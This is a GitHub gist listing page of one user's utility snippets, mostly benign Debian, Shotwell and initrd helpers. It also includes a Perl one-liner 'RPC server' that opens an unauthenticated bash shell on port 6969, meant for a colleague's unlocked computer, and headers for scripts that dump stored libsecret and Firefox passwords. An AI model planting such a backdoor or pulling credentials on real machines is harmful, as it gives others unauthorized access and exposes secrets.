Skip to content

Instantly share code, notes, and snippets.

View lukeross's full-sized avatar

Luke Ross lukeross

View GitHub Profile
@lukeross
lukeross / dpkg-find-cyclic-orphans.py
Last active March 24, 2024 13:30
Find deb packages which are not marked as auto-removable because they participate in a circular dependency loop
#!/usr/bin/env python3
"""
Find deb packages which are not marked as auto-removable because they
participate in a circular dependency loop.
This script was taken from that contributed by gnack at
<http://forums.debian.net/viewtopic.php?f=10&t=74238>.
I've updated it to python 3 and made it work more reliably on multiarch.
@lukeross
lukeross / shotwell_whatsapp_exposure_time_backfill.sql
Created February 22, 2024 21:16
Backfill Shotwell exposure _time for WhatsApp photos and videos
/*
* WhatsApp photos in shotwell don't get an exposure time set, but it can be backfilled from the filename
* sqlite3 .local/share/shotwell/photo.db
*/
update videotable set exposure_time=unixepoch(substring(filename, -19, 4)||"-"||substring(filename, -15, 2)||"-"||substring(filename, -13, 2)||"T00:00:00") where filename like "%VID-%-WA%.mp4" and exposure_time=0;
update phototable set exposure_time=unixepoch(substring(filename, -19, 4)||"-"||substring(filename, -15, 2)||"-"||substring(filename, -13, 2)||"T00:00:00") where filename like "%IMG-%-WA%.jpg" and exposure_time=0;
@lukeross
lukeross / decompress_initrd.sh
Created February 18, 2024 17:38
Decompress an initrd with microcode
#!/bin/sh
# decompress-initrd
#
# Decompress Linux kernel initrds where they consist of a microcode update
# followed by the actual initrd.
#
# This script was taken from that contributed by woolpool at
# <https://unix.stackexchange.com/questions/163346/why-is-it-that-my-initrd-only-has-one-directory-namely-kernel>.
@lukeross
lukeross / one_line_rpc.sh
Created February 18, 2024 16:28
One-line RPC server
#!/bin/sh
# This was based on a silly discussion at $job about a colleague who left their
# computer unlocked. It runs a daemon that accepts connections and forks a
# bash shell for each. The requirements were that it doesn't need any additional
# software installing on a typical Linux host, and is short enough to type
# in at the keyboard.
perl -MIPC::Open3 -MIO::Socket::INET -e '$s = IO::Socket::INET->new(Listen => 1, LocalPort => 6969); while(1) { $c = $s->accept; $f = fileno $c; open3("<&$f", ">&$f", ">&$f", "bash", "-il");}'
@lukeross
lukeross / extract_secret_storage.py
Created February 18, 2024 16:25
Extract stored passwords from libsecret
#!/usr/bin/env python
"""
# extract_secret_storage.py
Dumps out the contents of your libsecret storage (eg. gnome-keyring).
Requires:
- <https://www.python.org/>
- <https://pypi.org/project/SecretStorage/>
@lukeross
lukeross / extract_firefox_passwords.sh
Last active February 18, 2024 16:21
Extract stored passwords from firefox
#!/bin/sh
# ```
# extract_firefox_passwords.sh profile_directory master_password
# ```
#
# Requires `jq` and `pwdecrypt` (in linbss3-utils). If you have not set a master password, use the empty string.
#
# This is based on the examples at <https://blog.tajuma.com/?p=35>.